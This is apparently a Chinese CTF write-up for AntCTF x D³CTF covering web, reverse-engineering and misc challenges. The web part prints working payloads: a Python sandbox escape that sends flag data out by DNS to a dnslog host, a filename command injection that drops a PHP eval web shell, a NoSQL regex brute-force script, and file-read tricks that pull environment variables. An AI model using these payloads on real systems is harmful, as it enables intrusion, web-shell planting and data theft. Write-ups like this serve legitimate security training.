AntCTF x D³CTF Writeup
Web
Escape Plan
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def challenge_3():
cmd = request.form.get("cmd", "")
if not cmd:
return """<pre>
import requests, base64
exp = ''
requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text
</pre>
"""
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"
black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'
msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"
return msg
pyjail
题目提示如下:
The success for a break out depends on three things.
- layout: black_char
- routine: Python tricks
- help: Run /readflag to get flag, dns tunneling may help you
直接放payload吧
POST /? HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Tao: request.form['a']
Content-Length: 235
cmd=4bWJdmFsKOG1iXZhbCjhtYl2YWwodmFycyhyZXF1ZXN0KVtsaXN0KGRpY3QoaGVhZGVycz1UcnVlKSlbRmFsc2VdXVtsaXN0KGRpY3QoVGFvPVRydWUpKVtGYWxzZV1dKSkp&a=__import__('so'[::-1]).system("ping+`cd+/;./readflag|base64|cut%20-b%2061-68`.lgw597.dnslog.cn")
分割flag多次外带
d3cloud
POST请求,debug报错得到部分敏感信息。
访问/admin使用admin/admin登录Laravel-admin
disk管理扩展,给了一个php文件,通过Compare
发现有限制RCE
POST /admin/media/upload HTTP/1.1
Host: 47.102.115.18:30269
Content-Length: 716
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: #pjax-container
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJe1t16hLiDn4yEsp
Origin: http://47.102.115.18:30269
Referer: http://47.102.115.18:30269/admin/media
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: mysession=MTY4MjY4MzYyNnxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWNBQldGa2JXbHVCR0p2YjJ3Q0FnQUF8yTHwFCiy9EwrmifDbeR_Ogwn58TpfqN0VAU7_sQ_DzU=; remember_admin_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6InNXRnVSZjBtTGxhNkxoblwvRWJJVmhRPT0iLCJ2YWx1ZSI6IjZNRjVkdlFESmRUQVB5VWVNSDVtaVV3RzdtQWRuRHIzQVJhelF6MG5FSGRcL2xTVHNiQ2JyTDE2ZEJ2UGRSXC9MYml6b3hRSitmVUFwU2ViT0JIcXFnU3o0bUo3QzVTXC9aUjZmdEVhbW01cFpkcWF1TE9SRGJ5NEJkK2VpS3FqSk1WNUROa0s1c0c3MXd3OGNaXC9yKzdHOTNEZFhGclpGQWw2VHBLNEhqdlUzZWdFdzNXNFVNNjhZNnRLOGRrZ24zcXVIQ0dPRHdMNnNuVGFOVXlOSjlNM0szSDlPXC90MW9qcFwvd3BPaGFPXC9OVE9nPSIsIm1hYyI6IjYwOGFlYTM5YzU3YmNkMjk0MTg4Y2RhYzZjNzk5ZTNmNmVjMjI4ZDZjMDgyZjZkMjM2ZDUxOTBiZDI3M2Y2MDIifQ%3D%3D; XSRF-TOKEN=eyJpdiI6ImFNTFFVcWMrZGdNdlhHVUpOVVAyVUE9PSIsInZhbHVlIjoicEZrMklnZ2R2WWVFZXhyaWNhVEdoQmdCZnE2bWJmMHcwNVZSRXZFbklMRDZLZVpoUjhEXC9FMzBtOW9oRHNRTXIiLCJtYWMiOiIwYWU1MTdkMjk5Y2E5NDVjMzE5MWEzNTNiNzA0Yzc0NjY3MWY4ZjJiNjIzMTM3M2RhYjA0MmViMDk5YmJkNDI4In0%3D; laravel_session=eyJpdiI6Ikg2T3lJNXRoa3VocE9kT1JcL2pSQXFnPT0iLCJ2YWx1ZSI6InFYSm9ibzNDOFphSDBWTjhreDZpdnJQdlpRb0RQMEFOejlQUmp1RWk0cWxKOTZEY0w3N1NuK1Mya1cyMVFXd0UzZEk2ZnBDdlVkU3NsRmVPM0xNS0Z4RXB6d0tydm9xOWZjZ0NzaGx1bGxlUnVxUUR0Mzd6c2QrbzlpMlpXOHVqIiwibWFjIjoiMDU5MGM1MWI0MmUwMGI5YzcyMGJkOGMwMTM3MzkxYTA3YzFjOGMxNjk5ODNkMjkxMjE2YWZkYmZiN2NkMzEzMCJ9
Connection: close
------WebKitFormBoundaryJe1t16hLiDn4yEsp
Content-Disposition: form-data; name="files[]"; filename="$(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd var;cd www;cd html;cd storage;cd app;cd public;sh Tao.sh) && sleep 10;#2.zip"
Content-Type: application/x-zip-compressed
....
先上传包含Tao.sh
的压缩包,Tao.sh内容包含如下:
echo '<?php eval($_REQUEST[0]);?>' > /var/www/html/public/1.php
之后连🐎就可
注:storage路劲通过报错获取,上传symlink
d3node
NoSQL injection
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="http://47.102.98.112:31387/user/LoginIndex"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": "admin", "password": {"$regex": "^%s" }}' % (password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
得到admin/dob2xdriaqpytdyh6jo3
之后有个任意文件读取,readFileSync()函数文件读取绕过关键词检测
跟祥云杯那个差不多,原理可看
https://brycec.me/posts/corctf_2022_challenges#simplewaf
/dashboardIndex/ShowExampleFile?filename[href]=a&filename[origin]=a&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/usr/src/%25%36%31%25%37%30%25%37%30/%25%36%31%25%37%30%25%37%30.js
后面就是审node.js代码了,看了两天,不知道咋搞...
菜哭😭😭😭
后面看了别的师傅wp才发现,那个npm的scripts执行命令的那个key是源代码里的,比赛中试了自定义的不行,还不知道那里问题,待研究
Reverse
d3rc4
我们先看main函数:
跟题目名字一样:
发现这一段都是关于rc4的加密:
流程是用scanf接收 ===> 然后生成key ===> 输入的跟key进行异或 ===> 最后跟fake_flag里的值比对
然后我发现key的加密,无关于我们的输入,但又关我们的输入长度,输入到对应的flag的长度,我们就可以得到对应用来加密key,所以我们可以调试的时候看key的值,然后通过key^fake_flag的值,得到flag:
我们先看下fake_flag的长度:
算了下,长度是0x21
下面是调试:
我们断点下在这里:
因为程序开启了pie,我们利用基地址+偏移来下断点:
跳到断点位置:
我们得到对应的key,然后将key和fake_flag异或:
from pwn import *
key = p64(0x951cd8b5634486b8) + p64(0x346356bc5e707ed1) + p64(0x1e9d524df8159028) + p64(0x0f641b5264c81ff5) + p32(0x5d409324)
en_flag = [0xDB,0xB6,0x2A,0x04,0xC7,0xB9,0x68,0xE0,0xBD,0x3E,0x04,0x6F,0xD3,0x38,0x10,0x6B,0x4A,0xE5,0x61,0xA7,0x24,0x0D,0xFC,0x73,0xAA,0x71,0xF8,0x10,0x0D,0x7D,0x55,0x6E,0x43]
flag = ""
for i in range(0x21):
flag += chr(key[i]^en_flag[i])
print(flag)
这里为了方便,我用pwntools,将key转成bytes类型,运算结果如下:
可以,就是知道没有那么简单
所以我们现在从头把程序看一遍:
decode:
这个似乎我们在main函数里没有看到,但是我们看一下它在哪里被引用了:
现在就很清楚了,是在程序的一开始就调用的,所以不用管它,主要就是将输出结果对错的字符解密,和用在rc4加密的一个值进行初始化
.init_array里的函数是程序一开始就执行的函数先于main()
然后我们看到:
这个段函数,发现里面又有对我们输入的值进行运算的:
然后是有puts():
但是在这个前面调用了子进程:
但是这函数会在那里被引用:
在.fini_array,被引用
.fini_array是结束程序时会引用的,所以无论main函数以什么结束都会调用
接着我们分析,不难得出来,调用子进程 ===>在子进程运算加判断 ===> 通过子进程的结束方式来判断结果的正确与否
所以我们现在要看,在子进程的运算是怎么样的:
if ( !v6 )
{
sub_120D((__int64)byte_4240, (__int64)byte_4100, dword_4164);
for ( i = 0; i < dword_4168; ++i )
sub_12D2((__int64)byte_4240, length, (__int64)key);
for ( j = 0; j < length; j += 2 )
{
my_input[j] = (my_input[j] + my_input[j + 1]) ^ key[j];
my_input[j + 1] = key[j + 1] ^ (my_input[j] - my_input[j + 1]);
}
for ( k = 0; k < length; ++k )
{
if ( my_input[k] != real_flag[k] )
exit(1);
}
exit(0);
}
发现,也是rc4(唯一的变量就是我们输入的字符的长度,跟上面一样),但这次的运算就不是key和我们输入的值就是异或那么简单,但是还是简单:
my_input[j] = (my_input[j] + my_input[j + 1]) ^ key[j];
my_input[j + 1] = key[j + 1] ^ (my_input[j] - my_input[j + 1]);
我们现在可以知道的是real_flagd的值和长度(0x24):
我们只要得到key的值,逆一下运算,就可以得到flag(这里是还有点问题的),所以我们怎么得到key的值:因为我自己逆向能力不太行,所以没有写脚本直接逆出来得到key的值,我是直接调试子进程来看key的值:
我们一样要下个断点:
我们要下在这里:
这次我们输入的长度是0x24,(也学到了gdb调试子进程:
我们先要,再运行就可以调试子进程:
我们成功截停了子进程:
然后用*gdb --pid=xxxxx*
,进行调试子进程:
成功进入,可以调试子进程了,设置断点:
然后跳到对应位置,查看key的值:
ok,此时我们有了key,便可以跟real_flag进行,然后得到flag的值(这里是有点问题的):
脚本如下(接近,但不正确的):
int main()
{
char key[0x24] = { 53, 75, 160, 96, 8, 80, 165, 241, 51, 151, 178, 19, 203, 76, 13, 207, 163, 124, 87, 83, 226, 169, 101, 78, 14, 199, 122, 15, 253, 181, 158, 180, 51, 249, 97, 211 };
char en_flag[0x24] = { 0xF7, 0x5F, 0xE7, 0xB0, 0x9A, 0xB4, 0xE0, 0xE7, 0x9E, 0x05, 0xFE, 0xD8, 0x35, 0x5C, 0x72, 0xE0, 0x86, 0xDE, 0x73, 0x9F, 0x9A, 0xF6, 0x0D, 0xDC, 0xC8, 0x4F, 0xC2, 0xA4, 0x7A, 0xB5, 0xE3, 0xCD, 0x60, 0x9D, 0x04, 0x1F };
char flag[0x24] = { 0 };
for(int j = 0; j < 0x24; j += 2)
{
en_flag[j + 1] = en_flag[j] - (en_flag[j + 1] ^ key[j + 1]);
en_flag[j] = (en_flag[j] ^ key[j]) - en_flag[j + 1];
}
for (int j = 0; j < 0x24; j++)
{
printf("%c", en_flag[j]);
}
printf("n");
return 0;
}
得出来的结果:是不对的,是一堆乱码。
我们从头来想一想,我们输入的值进行了几次运算:
-
跟第一次加密的key进行异或 -
跟第二次的key进行运算
发现是两次,所以我们除了要跟第二次key进行逆运算,还要跟第一次的key进行异或,得到的结果才是真真正正的flag!!!!!:
因为输入的长度,第一次key变长为:
正确的脚本:
#include <stdio.h>
int main()
{
char key[0x24] = { 53, 75, 160, 96, 8, 80, 165, 241, 51, 151, 178, 19, 203, 76, 13, 207, 163, 124, 87, 83, 226, 169, 101, 78, 14, 199, 122, 15, 253, 181, 158, 180, 51, 249, 97, 211 };
char en_flag[0x24] = { 0xF7, 0x5F, 0xE7, 0xB0, 0x9A, 0xB4, 0xE0, 0xE7, 0x9E, 0x05, 0xFE, 0xD8, 0x35, 0x5C, 0x72, 0xE0, 0x86, 0xDE, 0x73, 0x9F, 0x9A, 0xF6, 0x0D, 0xDC, 0xC8, 0x4F, 0xC2, 0xA4, 0x7A, 0xB5, 0xE3, 0xCD, 0x60, 0x9D, 0x04, 0x1F };
char key2[0x24] = { 184,134,68,99,181,216,28,149,209,126,112,94,188,86,99,52,40,144,21,248,77,82,157,30,245,31,200,100,82,27,100,15,36,147,64,93 };
char flag[0x24] = { 0 };
for(int j = 0; j < 0x24; j += 2)
{
en_flag[j + 1] = en_flag[j] - (en_flag[j + 1] ^ key[j + 1]);
en_flag[j] = (en_flag[j] ^ key[j]) - en_flag[j + 1];
}
for (int j = 0; j < 0x24; j++)
{
flag[j] = en_flag[j] ^ key2[j];
}
for (int j = 0; j < 0x24; j++)
{
printf("%c", flag[j]);
}
return 0;
}
得到flag:
flag: getting_primes_with_pipes_is_awesome
注意:其实还要一个干扰函数,但是仔细分析就知道不会运行这个函数,会直接结束程序:
这是干扰函数
Misc
d3readfile
nc连接输入发现返回响应包
$ nc 139.196.211.236 30607
Tao
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
Connection: close
400 Bad Request
猜测自行构造请求包,GET请求
$ nc 139.196.211.236 30607
GET / HTTP/1.1
Host: 127.0.0.1
回显如下
HTTP/1.1 200 OK
Content-Length: 1017
Content-Type: text/html; charset=utf-8
Date: Sun, 30 Apr 2023 11:44:26 GMT
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>File Request</title>
<style>
input {
width: 300px;
height: 25px;
font-size: 16px;
}
button {
width: 80px;
height: 30px;
}
#response {
height: 50px;
margin-top: 15px;
}
</style>
</head>
<body>
<div style="text-align: center;">
<h2>File Request</h2>
<p>Enter filepath and click Submit to request file:</p>
<input type="text" id="filepath" onkeyup="onKeyUp()">
<button id="submit_btn" onclick="sendRequest()">Submit</button>
<div id="response"></div>
</div>
<script>
function sendRequest() {
var xhr = new XMLHttpRequest();
var filepath = document.getElementById("filepath").value;
xhr.open("POST", "/readfile");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onload = function() {
document.getElementById("response").innerText = this.responseText;
};
xhr.send("filepath=" + filepath);
}
function onKeyUp() {
if (event.keyCode === 13) {
sendRequest();
}
}
</script>
</body>
</html>
根据回显,构造post请求访问/readfile
,读取/proc/self/environ
POST /readfile HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
filepath=/proc/self/environ
HTTP/1.1 200 OK
Content-Length: 539
Content-Type: application/octet-stream
Date: Sun, 30 Apr 2023 11:46:30 GMT
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=gamebox-538-25-1417046f71d27b45FLAMEGO_ENV=productionFLAMEGO_ADDR=0.0.0.0:8000HINT=d2hlcmUgaXMgdGhlIGZsYWcuLi4gd2UgaGF2ZSB0byBmaW5kIGEgd2F5IHRvIGxvY2F0ZSB0aGUgZmxhZyEhKUBERNETES_PORT_443_TCP_ADDR=10.27.0.1KUBERNETES_SERVICE_HOST=10.27.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.27.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.27.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443HOME=/root
得到hint
$ echo "d2hlcmUgaXMgdGhlIGZsYWcuLi4gd2UgaGF2ZSB0byBmaW5kIGEgd2F5IHRvIGxvY2F0ZSB0aGUgZmxhZyEh" | base64 -d
where is the flag... we have to find a way to locate the flag!!
hint需要我们自行查找flag,其中locate
是linux的查找命令,从文件数据库中查找返回,因此这里是读取locate数据库文件
The “locate” command searches on the database file /var/cache/locate/locatedb
.
https://infosecwriteups.com/finding-of-directory-path-in-linux-820be9ae759b
如上方法读取locatedb文件,使用如下工具解码
https://github.com/WojciechMula/locatedb
$ python2 locatedb.py decompress locatedb | grep "/flag"
/opt/vwMDP4unF4cvqHrztduv4hpCw9H9Sdfh/UuRez4TstSQEXZpK74VoKWQc2KBubVZi/LcXAfeaD2KLrV8zBpuPdgsbVpGqLcykz/flag_1s_h3re_233
同上
原文始发于微信公众号(ACT Team):AntCTF x D³CTF Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论